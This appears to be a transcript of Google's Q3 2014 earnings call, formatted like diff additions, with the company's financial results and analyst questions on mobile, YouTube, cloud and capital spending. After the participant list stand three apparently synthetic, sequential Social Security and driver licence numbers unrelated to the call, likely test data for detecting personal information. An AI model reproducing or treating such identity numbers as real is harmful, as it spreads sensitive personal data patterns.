+ Ronghua Wang * iii +Other Participants +• Eric J. Sheridan +• Justin Post +• Stephen Ju. +• Mark S. Mahaney +• Ross A. Sandler +• Ben Schachter +• Anthony DiClemente +• Carlos Kirjner-Neto +• Douglas T. Anmuth +• Mark A. May +• Peter C. Stabler +• Heather A. Bellini +• Paul Vogel +• Brian J. Pitz +SSN: 431-23-1231 +Driver License: F1121231 +SSN: 431-23-1232 +Driver License: F1121232 +SSN: 431-23-1233 +Driver License: F1121233 +MANAGEMENT DISCUSSION SECTION +Operator April_05_01 +Good day and welcome, everyone, to the Google, Inc. third quarter 2014 earnings conference call. This call is being +recorded. +At this time, I would like to turn the call over to Ellen West, Vice President, Investor Relations. Please go ahead. +Ellen West +Thank you, Jamie. Good afternoon, everyone, and welcome to Google's third quarter 2014 earnings conference call. +With us today are Patrick Pichette and Omid Kordestani. +As you know, you can access our earnings release through our investor relations website located at +investor.google.com, so please refer to our IR website for our earnings releases as well as the supplementary slides that +accompany the call. You can also visit our Google+ Investor Relations page for the latest company news and updates. +This call is also being webcast from investor.google.com. A replay of the call will be available on our website later +today. +Now let me quickly cover the Safe Harbor. Some of the statements that we make today may be considered +forward-looking, including statements regarding Google's future investments, our long-term growth and innovation, the +expected performance of our businesses and our expected level of capital expenditures. These statements involve a +number of risks and uncertainties that could cause actual results to differ materially. +Please note that these forward-looking statements reflect our opinions only as of the date of this presentation and we +undertake no obligation to revise or publicly release the results of any revisions to these forward-looking statements in +light of new information or future events. Please refer to our SEC filings for a more detailed description of the risk +factors that may affect our results. +Please note that certain financial measures that we use on this call, such as operating income and operating margin are +expressed on a non-GAAP basis and have been adjusted to exclude charges related to stock-based compensation and, as +applicable, other special items. +We've also adjusted our net cash provided by operating activities to remove capital expenditures, which we refer to as +free cash flow. Our GAAP results and reconciliations of non-GAAP to GAAP measures can be found in our earnings +press release. +With that, I will now turn the call over to Patrick. +Patrick Pichette +Thanks, Ellen. As some of you may know, we have a new leader in our Investor Relations team at Google. Her name is +Ellen West. That's the great voice you just heard a minute ago, second ago. Ellen is a longtime Googler who joined us +in 2007. Although she's here with us today in Mountain View, she's actually based out of New York, and that will give +us a bit more footprint on the East Coast as well. So Ellen, welcome to the team. +What that, let's dive into the details of Google's financial performance for Q3. Our gross total consolidated revenue +grew a healthy 20% year-over-year to $16.5 billion and was up 4% quarter-over-quarter. Without currency fluctuations, +our gross total consolidated revenue growth would have been 19% year-over-year. Google sites revenue was also up +20% year-over-year to $11.3 billion, and was up 3% quarter-over-quarter driven by the strength in our Mobile Search. +Network revenue was up 9% year-over-year at $3.4 billion and was flat quarter-over-quarter, driven by improved +year-over-year growth in the AdMob and the AdExchange businesses. Finally, Google's other revenue grew a healthy +50% year-over-year to $1.8 billion and was up 15% quarter-over-quarter, this driven by year-over-year growth mainly +from the Play Store, but also complemented by an increase in licensing revenue. +Our global aggregate paid click growth was strong this quarter, up 17% year-over-year and up 2% quarter-over-quarter. +Aggregate CPCs were down only 2% year-over-year and flat quarter-over-quarter. And without currency fluctuations, +aggregate cost-per-click would've been down 1%, and in fact up 1% quarter-over-quarter. As we began to do in our last +earnings call, we continue to disclose paid clicks and cost-per-click changes by property type as well, in addition to the +aggregate number. So to that end, Google Sites paid clicks were up 24% year-over-year and up 4% +quarter-over-quarter. Google Sites CPC were down 4% year-over-year and down 1% quarter-over-quarter. Our +Network paid clicks were up 2% year-over-year and down 4% quarter-over-quarter, and Network CPCs were down 4% +year-over-year but up 2% quarter-over-quarter. Our aggregate monetization metrics continue to be impacted by a +number of factors including geographic mix, device mix, property mix, as well as ongoing product and policy changes. +Turning to geographic performance now, we saw solid performance in the U.S. as well as in the rest of the world. In +our earnings slides, which you can find on our Investor Relations website, you'll see that we've broken down our +revenue by U.S., U.K., and the rest-of-world to show the impact of FX and the benefits of our hedging program, so +please refer to those slides for the exact calculations. U.S. revenue was up 15% year-over-year to $7 billion. The U.K. +was up 17% year-over-year to $1.6 billion, and in fixed FX terms the U.K. grew 10% year-over-year. In the U.K., +growth was impacted by a combination of factors this quarter, including platform and property mix as well as tough +comps from year-over-year and quarter-over-quarter growth rates for a number of reasons including, for example, +weather. Our non-U.S. revenue excluding the U.K. was up 26% year-over-year to $7.9 billion. This accounted for 48% +of total revenue, which includes a $10 million benefit from our hedging program. In fixed FX term in fact, the rest of +the world also grew 26% year-over-year. Very healthy. +Let me now turn to expenses. Traffic acquisition costs were $3.3 billion or 23% of total advertising revenue. Our +non-GAAP other cost of revenue was $2.8 billion in Q3, which excludes stock-based compensation [SBC] and also a +non-cash impairment charge of $378 million related to a patent licensing royalty asset acquired as part of our Motorola +Mobility purchase. Non-GAAP operating expense totaled $5 billion, again excluding SBC, and as a result our +non-GAAP operating profit was $5 billion and our non-GAAP operating margin were 32% in Q3. +Headcount was up roughly 3,000 in Q3. In total, we ended the quarter with approximately 55,000 full-time employees, +and please note that the head count does include still approximately 3,500 full-time employees from the Motorola +business. In the past year, we continued to attract and hire the best talent from the best colleges and universities from +all around the world. Continuing our past trend, graduate starts are much more heavily concentrated in Q3, which is +part of why you're seeing the significant bump in head count, with the majority being tech hires, I want to kind of – +precise. +Our effective tax rate for the quarter was 22% for Q3, and which includes the impact of the impairment charge that I +mentioned earlier, which is a non-deductible for income tax purposes. +Let me turn now to cash management. OI&E, or other income and expenses, was $133 million. Interest income and +realized gains on investments offset the continued impact of expenses from our FX hedging program. And for more +details on OI&E, please do refer to the slides that accompany this call on our IR website. +We continue to be happy with our strong operating cash flow at $6 billion. CapEx for the quarter was $2.4 billion, and +this quarter the majority of the CapEx was related to our data center construction, production equipment, and real estate +purchases, in that order. It's important to remember that our infrastructure supports all of our products, whether they are +core products like search or Ads, Maps or YouTube, but in addition to fueling our growth products like photos, and +Hangouts, Google for Work, and the cloud platform. +If you look at our data center announcements over the last four quarters, you also see that we've been really busy with +both groundbreakings and expansion all around the world, including Finland, Taiwan, Singapore, recently announced +Netherlands, in addition to our ongoing investments in the U.S. In total, our free cash flow was then $3.6 billion. +Before I close, want to give a brief update on Motorola. The team continues to work hard, and we look forward to +seeing them join the Lenovo team soon. Motorola had a great Q3 with strong user reviews for products like the Moto +X, Moto 360, and Moto Hint, clearly demonstrating the impressive momentum of the company. +So there you have it. Strong results with continued strong growth in both revenue and profits, and an optimism that +provides us the confidence to fund strategic growth opportunities, including the usual Android, Chromes, and +YouTube, but also Google for Work, and cloud, to name a few. +Before I hand things over to Omid, I would like to share with you some great news. I am really thrilled to announce +that Omid is now officially Google's Chief Business Officer, and this on a permanent basis. All of us at Google couldn't +be happier to see Omid at his post, running our business organization once again. +And with that, I'll turn it over to him for more details on our performance in the quarter. And after his remarks, as +usual, we will have Jamie open up the lines for your questions. Here you go, Omid. +Omid Kordestani +Thank you very much, Patrick. Hello, everyone. +I'm Omid Kordestani, I am happy to be back at my new, old job, and thank you for joining us this afternoon. I joined +Google back in 1999 to help get our business off the ground, and led our business operations until 2009. Since then, +I've served as an advisor to Larry, and outside Google, actively helped many entrepreneurs. +I'm thrilled to be back at Google leading our global business again. We continue to have the same boundless energy, +and endless curiosity we've always had as a company, and we are as focused as ever on our mission of making +information useful and accessible to everyone. +Case in point. We are really excited about this week's Android Lollipop launch. This is our largest release on Android +ever, with over 5000 APIs for developers. It adds new features, including better notifications, battery life, and security, +and introduces a refreshed, consistent visual style. And alongside the new devices, Nexus 6, Nexus 9, and Nexus +Player, consumers in India who bought the recently announced Android One will get the updates of the latest software +at the same time. +Now I will do a quick walk-through of the business highlights from Q3. As usual, we will give an overview of these +four areas: performance and brand advertising, our advertising platforms and our emerging non-ads businesses. +Let's start with performance advertising, the core of our business. People want the right information at the right time. +They don't want to have to think about whether it is on the web or in an app. We have learned this first hand as a +developer of many services, Maps, YouTube, Gmail, that also are some of the world's most popular mobile apps. +With that in mind, we have a simple goal with performance ads. Help marketers connect with customers at the right +moment to drive measurable results. Our partners have driven hundreds of millions of app downloads with AdMob and +our click to download formats. But most mobile apps are downloaded, used once, and eventually deleted. So we launch +new features to help advertisers reengage with users post download. +For example, advertisers can now deep link from their search ads directly into their mobile apps. To succeed with +multi-screen marketing, advertisers also need modern measurement tools so they can understand when their ads drive +phone calls from customers, result in conversions on other devices, or lead to store visits and purchases. +Last October, we announced Estimated Total Conversions, our effort to help marketers better measure the value of their +multi-screen advertising. We have worked to continue developing this product and launched cross device measurement +for display ads. Clients have already found that mobile display campaigns drive 15% more conversions than they had +previously measured. +Let's shift gears to talk about our shopping efforts. These dovetail nicely with performance ads. We are directly +connecting people with products and services, and then enabling them to buy, and have them delivered. We keep +making improvements to our products to help retailers. +Keeping inventory organized and up-to-date is a constant challenge for retailers. We help them manage this issue by +completing the transition of product listing ads to our shopping campaigns platform. +And finally, people often want to find stores near them to make a purchase in person. We have long had local inventory +ads that enable merchants to show customers this information in the U.S., and we launched these in the U.K., France, +Germany, Japan, and Australia last quarter. In summary, the core of our business, performance advertising, continues to +deliver great results. +Let's move on now to our brand business. Our objective is clear here: make digital the best possible canvas for creative +and effective brand building campaigns. First, let's talk about YouTube. Any conversation about great advertising starts +with great content. On YouTube, stars produce amazing content that our users love, from Bethany Mota, to Smosh to +Mental Floss. +Earlier this year, we launched Google Preferred to help connect brands with premium ad inventory on our most popular +YouTube channels. Since then, we have secured upfront commitments from top media agencies. We're just getting +started with YouTube and its potential. We've sold out the majority of our U.S. Google Preferred offering, which +represents among the top 5% of popular channels inventory on YouTube, and as result of terrific Brandcast events in +Germany, France, U.K., and Australia, we're seeing tremendous interest from local agency partners around the world. +Last quarter, we also saw some great progress in our brand efforts beyond YouTube. We launched new ad formats +customized for mobile screens. We also announced an expansion of YouTube's TrueView ads into AdMob's network of +more than 650,000 mobile apps. Every day, our teams work to develop both the products and terrific partner +relationships that enable us to tackle any digital marketing challenge across multiple channels together. +With encouragement from Google and YouTube, ABC executed a digital-first marketing plan for their new fall TV +lineup. The effort included custom five second ads for TrueView and collaborations with homegrown YouTube stars. +We are very excited about the new deal with Mondelez and Starcom MediaVest. This global agreement will focus on +video and display and is Mondelez's largest digital medial deal ever. +Next let's take a look at one of the fastest-growing parts of the digital advertising world, programmatic platforms for +agencies and publishers. For many years now, our goal has been to provide world-class technology for brands, +agencies, and publishers to power their ad businesses. Today, our DoubleClick suite is used by all major agencies, and +we are particularly focused on multi-screen and video. +DoubleClick Bid Manager is the go-to tool for marketers and agencies to navigate the rapidly growing programmatic +advertising space. It's doubled in size year-over-year by impression volume, and we really love the progress we see +here. +For publishers, we help them make money from the content via our publisher tools, from our Ad Exchange to +customized private exchanges which complement our core offerings. This quarter, we signed new private advertising +exchange deals with publishers like Fox TV and Edmonds. This helps publishers generate revenue from premium ad +space. We have nearly doubled the number of private exchanges running on our system year-over-year. +Finally, we are seeing remarkable momentum in our newer non-ads businesses. Whether it's Play, Hardware or Google +for Work, we continue to see strong growth and we're thrilled to be the platform for our partners successes as well. +Google Play's growth continues to impress. It's a linchpin of the amazing Android ecosystem. We brought Play Music +to 17 new countries, bringing the total to 45, and our expansion continues. Today, Play Movies is available in 93 +countries, and Play Books is available in 61 countries. +On the hardware front, just yesterday, we unveiled three fantastic new Nexus devices: Nexus 6 phone, Nexus 9 tablet, +and Nexus Player, an Android-powered streaming media player. +This quarter we worked with HP, Toshiba and Acer to introduce five new Chromebook devices, and teamed up with +ASUS, LG, Motorola, Samsung, and Sony to help launch new Android Wear devices. We're also selling Chromebook +in six new countries. They are now available in 31 countries around the world. And we sold more than 1 million +Chromebooks for education this quarter, even more than last quarter. +Chromecast celebrated its first birthday this past quarter. It's been a smashing success. Users have hit the cast button +more than 400 million times since it launched to enjoy their favorite sports, music, premium movies, and TV shows. In +September, we added even more content to Chromecast including Disney content. +And we were so proud to launch Android One, an effort to make high-quality, low-cost smartphones available to as +many people as possible. We started in India and will be expanding to other countries, including Indonesia and the +Philippines, in the coming months. +For businesses, what was called Google Enterprise is now simply Google for Work. This business has great traction. In +addition to the tremendous growth in our Apps business, we have more than 1,800 sign-ups for Google Drive for Work +every week, plus there are almost a quarter of a billion active Google Drive users, including consumer, education and +business users. +We continue to invest in our growing cloud platform business, helping developers realize the promise of cloud +computing, by providing affordable on-demand access to world-class technology. We recently announced Google +Cloud Platform for Startups, and offer up to $100,000 in credits to enable the best and brightest startups to use Google's +Cloud platform. +Sony Music recently built an interactive app in less than three weeks using App Engine to engage fans tuning into One +Direction Day, an eight-hour YouTube live stream featuring the band, one of the largest ever YouTube music live +streams. +Lastly, our Marketing team had a great quarter as well. Google My Business helped more small businesses get online, +and our Art, Copy & Code projects showed advertisers the creative potential of digital marketing. And from the annual +Google Science Fair to more recent campaigns showcasing amazing content on Play, YouTube Stars, and the power of +the Google App, the magic of Google was on prominent display. +All told, it was another terrific quarter at Google, continued momentum in our core business, and exciting innovation in +new areas. Kudos to the Googlers around the world who made it all happen. +I'll turn it over to Patrick to wrap up and start our Q&A. +Patrick Pichette +Thank you, Omid. So, Jamie, if you want to give us the instructions, and we'll get going on the Q&A. +Q&A +Operator +Thank you. [Operator Instructions] And we'll take our first question from Eric Sheridan with UBS. +: Thanks for taking the questions. So first one, maybe with the announcement that you're +expanding Google Shopping Express into other cities and rebranding it and new retailers are coming on, wanted to see +what you saw in those first few cities to think about extending it further into the other cities, and what you might be +hearing from feedback from retailers about adopting the platform, because a few also dropped off the platform at the +same time. I just wanted to get a little bit better color about how that was developing and how you're going to go +forward with it. Thanks. +: Thank you very much, Eric. So we're really trying to learn a lot here. Innovation is a messy +process, and especially with Google Express here, there's a lot of understanding that we need to have on improving +efficiency in the logistics process, trying to find price points that shoppers find attractive, and our goal is really to help +the 35 – over 35 merchant partners succeed and reach their customers. And I am a user of it, and I'm really impressed +by how much time it saves. I see the cars running around the city, around me. And I think our goal is really to take it a +step at a time and see the success, understand the logistics – logistical operations, how much it costs us to do this, and +can we deliver this basically in a successful way. +: Just, Eric – just a couple of, kind of, additional points. One is, clearly we've announced this +week three other cities. So if you go back to the fundamental premise of kind of the argument we tabled which is – the +first thing was, would people show up and want this product? It's very clear people want this product. The second one +was – and that's why we're expanding the product. +The second question then is, we've had a lot of questions about monetization, and we've announced this week we're +taking real actions on the monetization service, both including commissions on these transactions for merchants, but +also service fees that were announced as well. +So from that perspective, we kind of think of it as now we're in phase two of this product where, according to our +business plan, right, we continue to kind of look for the barriers, the milestones. And then when we hit those +milestones, then we with enthusiasm keep on going. +All this to say, it is nevertheless a scale business so working on efficiencies, working on all of the issues that are related +to logistics, continues to be a big focus of ours. On the partners, we're really thrilled to have the partners we have. You +can expect as we kind of grow through this, that we have a few coming in, more coming in, few coming out. But +overall, very, very pleased with the trajectory there. I think you should see the announcements of this week as just kind +of a sign of optimism and momentum in it. +Thank you so much for your question, Eric. +: Great. +: Jamie, let's go to our next question. +Operator +And we'll go next to Justin Post with Merrill Lynch. +: Thank you. I'm wondering if you could help us at all, segregate the Search business from other +items in Google website, and just give us your view on the health of the Search business. And then comment a little bit +on that paid click deceleration. What is driving that, and do you even see that as an important metric? Thank you. +: So I'll take that. The two points is one, look, we don't give the breakdown of the Google Sites. +But actually, it's pretty healthy on all dimensions. I think that from that perspective, search is going well, and all of the +other dimensions of our Sites is actually doing pretty well. That's what you see in our kind of 20% year-over-year, just +for Sites, growth. So from that perspective, I think that we're pretty happy on that front. +On the CPC issue, it's pretty simple. I mean, we really had, again, you have to think of the CPC and the volume as one +basket that actually delivers. So monetization overall is still very strong. We're very happy with the monetization, +Jamie, and if we have in one quarter kind of movements between one or the other, that is just basically the continued +experimentation and the impact of all of the factors that I usually talk about. So from that perspective, there's nothing of +noteworthy to kind of mention this quarter. We are very happy with the trends in both cases. +: Thank you. +: Thanks, Jamie. Jamie, we'll go to our next question. Sorry, Justin I meant. Jamie, we'll go to +our next question. +Operator +And we'll go next to Stephen Ju with Credit Suisse. +: Thanks. I think in the past you've talked about the opportunity cost not being there for the user +when they're trying to access your products and services, as a rationale for making investments. So is there any data +you can show on your newest users in the emerging markets who are going straight to mobile? Is it safe to assume that +consumption from these new users are running at a pretty similar growth trajectory with what you've seen historically +on a desktop and as well as your established markets or is their engagement with all of your products more intense? +And is there anything you can say in terms of what areas of your business are seeing the more intense level of +investments? Is it more your consumer focused initiatives or more your enterprise focus cloud initiatives? Thank you. +: So a couple of points there, and then if Omid has additional comments. One is clearly +emerging businesses, emerging markets are just fundamentally different than the more developed markets, right? If you +think of a country like Indonesia, or India where people go straight to mobile and so in that context, there's clearly, a lot +of differences between those markets, and how they are evolving, compared to what would've been 10 years ago in the +U.K. or the U.S. So from that perspective, I think that, and that's why you see us launch things like Android One, right? +When you have just under 2 billion people around the world that have already smartphones, the vast majority of the +population looks for things online. So these kind of initiatives that we're launching I think is the most important piece. +From an investment at Google, we're investing without giving you all the details, we are clearly investing in our core +business, it remains the focus of our activities. But if you look across, right, as Omid mentioned, he mentioned the +Cloud business, the Google for Work business, all of these other areas, the Play business, the hardware business, these +are all areas where we're investing, and we're investing with enthusiasm. With each their own specific business case, +each of them actually looking for what is their growth and profitability models, and we just monitor them pretty tightly. +Okay. +: Thank you. +: You're welcome. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark Mahaney with RBC Capital Markets. +: Hey, Patrick. In describing the Google search strength, you said you saw particular strength +in mobile search. Could you elaborate? +: Yes. No. I mean, look, it's very clear that mobile is still a big part of our growth, and we're +very pleased about it. I mean, but when we talk about mobile, I think that there's a couple of things. One is you have to +continue to look at both, the growth in volume, and the growth in pricing, so these are long-term trends that we're +seeing. The CPCs and the clicks, they can fluctuate from quarter to quarter. It just happens that we've made some +changes this quarter that improved the mobile pricing while impacting the lower quality clicks, and that's what you see +reflected in our numbers. +Again, but I wouldn't just as an overall statement remember to everybody that I would not attribute the aggregate CPCs +movement just to that one factor of mobile, right? Because there's still a full factor mix, as I talked about in my remarks +about geography and product changes. So all of this actually makes a big factor as well. So that's what we've seen in the +strength of mobile, but we're still very pleased with the momentum. +Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Ross Sandler with Deutsche Bank. +: Thanks, guys. I have two questions, first on the U.K. and then second on mobile payments. So +the U.K. growth looks like it's dropping off pretty hard on an ex-FX basis, either one-year or two-year growth rates, so +I think this is an economy that folks generally think is supposed to be holding up pretty well. So can you talk about +what you're seeing in the U.K.? You had mentioned weather and a few other things, but a little more color on what's +going on with the ad market in the U.K. +And then mobile payments, that's an area that's getting a lot of attention lately. Can you just give us an update on where +the Google Wallet team stands and what kind of traction you're seeing in terms of user adoption and maybe how you +plan on addressing merchant payments, kind of outside of in-app or things from the App Store? Thank you. +: So, Ross, why don't I take the first question, and then Omid will give you the answer to the +second. As we talk about the U.K., a couple points are worth note. One is, the U.K. contributed roughly 10% of our +total revenue this quarter, and that's been the same for kind of the past many quarters, and in fact, if you go back years, +it'll still be in the same range. So there's nothing kind of fundamental that is worth noting. It's still a pretty good market +with decent growth. +The issue of deceleration this quarter, specifically, I mentioned a number of elements, right? So platform mix. We do +see a mixture of desktop/tablet searches having a greater impact in the U.K. than anywhere else than we see in our +network of countries. +On property mix, you'll remember we talked about this also on prior calls, AFS, as a business, has a much bigger part +of our both U.K. and U.S. business, so it'll skew to those geographies. And so those are kind of some of the elements. +And as I mentioned, year-over-year comps were difficult, and if you have a great summer in terms of weather or bad +summer in weather, it can have some real impact on the growth rates as well. So it's a combination of a number of +factors that the U.K. has driven our performance, but still pretty pleased. But I won't, that's really what's going on there. +In terms of the payments, I'll let Omid give you an update there. +: Hi, Ross. I think our goal here is really achieving mass merchant adoption, so the availability +of these NFC devices is about that and also making it easier for consumers to replace their wallets with their +smartphones, hopefully, more and more over time. So reducing friction in everyday shopping experiences is how we +approach it, and the focus on the user, and we're really developing a fully functional payment system. So as you may +know, users can send money today to friends through Gmail using the Wallet app. We have loyalty and gift cards that +can be stored the Wallet app, and the Buy With Google button makes it possible for users to make purchases very +quickly with two clicks. So again, it's this two-fronted focus on merchant adoption and removing the friction for users. +Thank you. +: Thanks, Ross. Jamie, let's go to our next question, please. +Operator +And we'll go next to Ben Schachter with Macquarie. +: Omid, after many years of waiting for television budgets to shift online, it appears to be +happening in a more accelerated fashion. So, one, do you agree with that, and two, could you just discuss YouTube's +positioning versus competitors, and in particular, Facebook Video. +And then Patrick, couple of quick ones for you. One, given the evolution of tax laws in Europe, how are you and how +should we be thinking about Google's tax rate over the coming years? And then also, just any comments on stock comp +being particularly high this quarter? Thanks. +: Thank you, Ben. This is Omid. So the way we look at it is that users are really accessing +Internet on large screens with high broadband speeds, and we're getting great monetization on these screens, and +advertisers are really paying attention. So we have seen a real shift where marketers and agencies who have historically +built their brands on TV are really reorienting this toward investments on digital. And in regards to YouTube, our focus +here is really this focus on investments in more content, more creativity. +And I think you also mentioned you had a Facebook comment. What they're doing, I think, in video has always helped +us with bringing more attention and more innovation to the space, so we welcome that, and the way we're going to +approach it is just continue to invest in our platform and on the creators, and building better and better monetization +solutions. Just again, you may know some of these metrics, but I'll say it again. We have 400 hours of content that are +uploaded every minute, and partner revenues up 60% from 2012 to 2013 on YouTube. +: Great. Let me jump, Ben, on the YouTube-specific questions. On the tax issues, I mean, +you've heard about the Ireland announcement earlier this week on the double Irish tax structure. I mean, for us, we've +always said that it's for politicians to decide what laws they want to put in then for companies just to comply with those +laws, and that's what we're basically doing. +So we're deeply committed to Ireland. We've worked there for many years. We have a great – that's our headquarters. +We have over 2,500 employees there. And so from that perspective, we're committed to the place. And we're going to +work with the authorities just to kind of get clarifications over this, but it's really way too early to tell what's going to +happen. So we're just – just like you, getting the information, the news, and we're going to work with the authorities to +understand it better, and then comply with the laws. +In terms of stock-based compensation, a few – just a few notes on this one for this quarter. We have – it's the time of +year where we do equity refresh. And from a timing perspective, last year we did the equity refresh in Q2 instead of +Q3. So there's kind of like a geography of Q2 versus Q3 that kind of hit us in Q3. In addition to this, we – if you go to +our filings, you'll see that our executive compensation, so think of the top 15 or top 20, I can't remember the exact +numbers but it's stated there, that they do their refreshes every two years, and it happens to be this quarter as well. And +then finally, I mean, we obviously have more employees. So it's just a compounding set of factors, Ben, that I kind of +lumped it all into Q3. So it's no more, no less than that on that one. So... +: Thank you. +: Thanks for your question. Jamie, let's go to our next question, please. +Operator +And we'll go next to Anthony DiClemente with Nomura. +: Thanks a lot. Just on core operating expenses, is there anything in particular, Patrick, +that you might call out in terms of expense growth in the quarter, as you have operating deleverage through the P&L? +I'm just wondering going forward if that's likely to continue. +And then a question for Omid, I suppose, on YouTube, you mentioned – I know that YouTube's investing in its studio +as a way to help along new talent, new home-grown talent, onto the new platform directly. I'm wondering if you could +talk about the multi-channel networks, how YouTube's relationships with the multi-channel networks, the MCNs, are +evolving at a high level, how you guys think about that dynamic between the home-grown YouTube talent itself, as +compared to talent that resides on the MCNs? Thanks. +: Okay, Anthony. Thank you for your question. Why don't I jump in right now on just expenses +for the quarter. I think if I had two comments to make on expenses in the quarter, you may notice that relative to a few +models that I saw out there, R&D is – was higher and other areas are a bit lower. And I just want to highlight that we +hire and we focus clearly our hiring in our tech payrolls or, think of it as, all of our engineering. And that skews to +R&D. So as we bring on people and we push forward the growth of our – we really focus it in the areas that are going +to make a fundamental difference to Google, which is engineering and by doing so, it kind of skews to R&D. So that's +why R&D was maybe a bit higher than expected by some models out there. And so that's one piece. +And then the other one is, I just wanted to reiterate that, I mean, it's very clearly an extraordinary quarter from a hiring +perspective for the comments I've made before. And so, we're kind of clearly seeing that, but at the same time I +wouldn't say that this is clearly a new run rate for us or anything like that. It just happened that most of these kind of +college students end up landing in Q3, and we have the result of a banner year from a hiring perspective. All through, it +takes a year to hire them all, and then they come into this quarter. So that's really the – kind of the two big elements that +have actually flowed, Anthony, through our P&L this quarter. +: Okay, great. Thanks. +: I'll let Omid answer the YouTube question. +: Yes, Anthony. So again, we have a very, very partnership-minded organization here, and +company as a whole. So we view MCNs as, I mean, organizations that are really going to help a developer of great +content, support the creators on YouTube. Just like we are doing that with YouTube Studios, I think MCNs can help a +lot of these become future stars, hopefully, and develop more success. So just, we view it as another form of +partnership that we need to pay attention to and support, so that's how we look at it. +: Thank you, Anthony. Jamie, let's go to our next question, please. +Operator +And we'll go next to Carlos Kirjner with Sanford Bernstein. +: Thank you. I have two questions. Patrick, is CapEx still driven by real estate and +construction? And if you ask, can you explain in a bit more detail what changed about 18 months ago in the way you +acquire real estate and build to drive the inflection in capital-intensity that we have seen? It looks like you operated for +more than 10 years in one way, and then there was a shift that has led to this massive inflection. So what happened +there? +Secondly, do you think that Google Login is adopted or is about to be adopted by large enough number of important +mobile apps for you to be competitive and long term when it comes to offering mobile targeting attribution? And can +you give us an update on developer adoption of deep linking ? Thank you. +: Okay. So I can certainly take the first and let Omid answer the second. I've made that +comment before in the prior quarter, Carlos. The CapEx intensity in our CapEx program has been built by a +combination of, as I mentioned in previous quarters, catching up when we were running too hot in terms of tightening +of capacity. And so, on one side I am very happy that when we kind of really torque our utilization rates, on the other +side it creates a lot of operational issues. And that led us to believe that in fact investing ahead of the curve was actually +a strategic imperative for us to make sure that if we have the extra capacity, we will grow into it. And I mean the +difference between certainly on the data center side, right, the data center construction and machines. And you will +have noticed that this quarter again, the priorities, if you look at the nomenclature I gave, right, construction of data +center is the primary. So it is the core infrastructures, it's groundbreaking, and it is setting up the core infrastructures. +Machine was the second quarter for this quarter, but you'll notice that it for flip flops with real estate. In the case of the +real estate, I mean, you – we have been investing for our campus and otherwise when we see – when we hit this kind of +minimum scale, we need to kind of make investments in real estate. And again with an eye of looking to the long-term +rather than just filling at least for the next 12 months or 24 months, because once you kind of, if you decide you're +going to grow in a place, then need the capacity for multi years, so all of these factors have actually kind of been the +driver for the shift in capital intensity that you have seen over the last 18 months. So that is basically the explanation, +Carlos. +I will let Omid kind of jump on the second question about the mobile question. +: Sure. Thanks, Carlos. +So the AdMob network, which is 900 million unique devices per month, and our own apps are hugely popular, Gmail, +Maps, Google App and YouTube. And our focus is also is helping developers generate app downloads and +reengagement with users who have already downloaded their apps, as I mentioned in my remarks earlier. And we're +really helping drive hundreds of millions of app downloads through app promotion products. Again, the goal here is +that you just search and not worry about where the answer is, is it on a web page or an app? And we have been in this +game for a while. +Four years ago, we acquired AdMob and have continued to invest in this space heavily. And this quarter we launched +the next generation of these app promotion ads across Google Search, Google Display Network and YouTube. So we're +really focused in this area to help the developers and our users. +: I think we can clearly say that we're pretty pleased with the developer adoption of this. They +see huge a huge benefit, so they're actually investing in it. Thank you, Carlos. +: Thank you. +: Jamie, let's go to our next question, please. +Operator +And we'll go next to Douglas Anmuth with JPMorgan. +: Thanks for taking the questions. Just two for Omid. First, you talked about Estimated +Conversions and seeing a 15% increase there. Can you just talk about whether you think that's actually leading to more +spend at this point from advertisers? +And then secondly, are you seeing mobile like-for-like pricing improvements at this point? And what gives you the +confidence in mobile closing the gap with desktop over time? +: Okay. So both are really good questions. They're related really. I think the way this is going +to play out is that I think advertisers are going to, with these tools, be able to just understand conversions better. Where +is it happening? And then the dynamics of how those changes is all the way back to adjusting bids and then paying +attention to where the conversions are coming from. +So again, I think just to maybe highlight some examples for you, the fashion retailer, Express, who is an early tester +found that the overall return on their ad spend doubled when off-line sales were included in the online advertising +results. So we're just continuing to invest here, and get this right. It is too early to figure out the impact exactly on +revenue, but we expect Estimated Total Conversion to help the advertisers truly measure this, and ultimately adjust +their bidding, and just get much more sophisticated in these measurements. I hope that answers. +: And mobile on a like-for-like basis? +: The way we are focused on this is that users really are using the screens interchangeably, +simultaneously throughout the day. And we really are not at this point doing this like-by-like comparisons or comment +on it, because we think it's still early, and we're really focused on just delivering the results, and it took many years, for +example, for the desktop ecosystem to develop the right ad formats, and that really take advantage of the platform. So I +think we just need to continue innovating, experimenting here to get it right. +: Thank you. +: Thanks, Douglas. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark May with Citi. +: Thanks for taking my question. Whether or not there's been quite a bit of attention paid to cloud +services space and Google in particular. Wondering if you can comment a little bit around the traction that you're +getting with compute engine, and what sort of impact that, that is having on revenue expenses and CapEx for the +business. +And then secondly, hoping, I think earlier you made a comment around some changes you've made in mobile that have +impacted some of your network click metrics. So hoping you could elaborate a bit more on that. +: Okay. Do you want me to...? +: Go ahead. +: I will just jump on the cloud, and then the last piece, and then maybe, I wasn't sure what the +very first part of your question, Mark, was. But clearly, cloud is an area that is kind of booming. Right? We know that +the long-term trends are very clear for us, which is the vast majority of businesses, everybody's moving their +infrastructures to the Cloud. So and it is an area where we have fundamentally great assets to contribute to this industry, +both in terms of the flexibility, the cost structure, the technology. And that's why we're investing heavily in there. +We're seeing great progress from an adoption perspective, signing up new customers, and from a CapEx. Obviously, +you need to kind of, that's one of them that as I mentioned on the CapEx story with Carlos a few minutes ago, if you do +take off, and you really get the kind of customer adoption that you expect, if you don't have the capacity in place, it can +have a really important kind of differential in your success. So there is one that we're keeping a pretty close eye on +from a CapEx perspective, and making sure that we have the option value. +On the – the third question was mobile did have network click. Yes. Clicks and CPCs always fluctuate from quarter to +quarter. It just happens that we have, as I mentioned, made some changes this quarter that improved our mobile pricing +while impacting low quality clicks. Sometimes it goes, if you think of a long-term trend in the mobile sector, a piece of +our products, sometimes you kind of put new change in the network, and then it creates a lot of clicks for it, but then +the CPCs are much lower. And then if it doesn't actually create something that's really good for the user, you need to +kind of pull back on it, that's you've heard, for example, parallel to the AFS business. +So it's kind of constantly fluctuating. What's really important to like that is really the combined volume and pricing +growth. And so for us, it's very clear that we're doing some great work in this area, and monetization in the aggregate is +doing very well. That's really what we're, like on a quarter over quarter basis, don't panic about little movements here +and there. You look at the fundamental trends, and that's where we're very pleased. +Did you have a first, was there a first question that I missed, Mark? +: No. I was hoping on cloud that maybe you could put some numbers behind the level of traction +in terms of number of customers, impact on expenses, CapEx, the level of investment in the cloud...? +: I see. 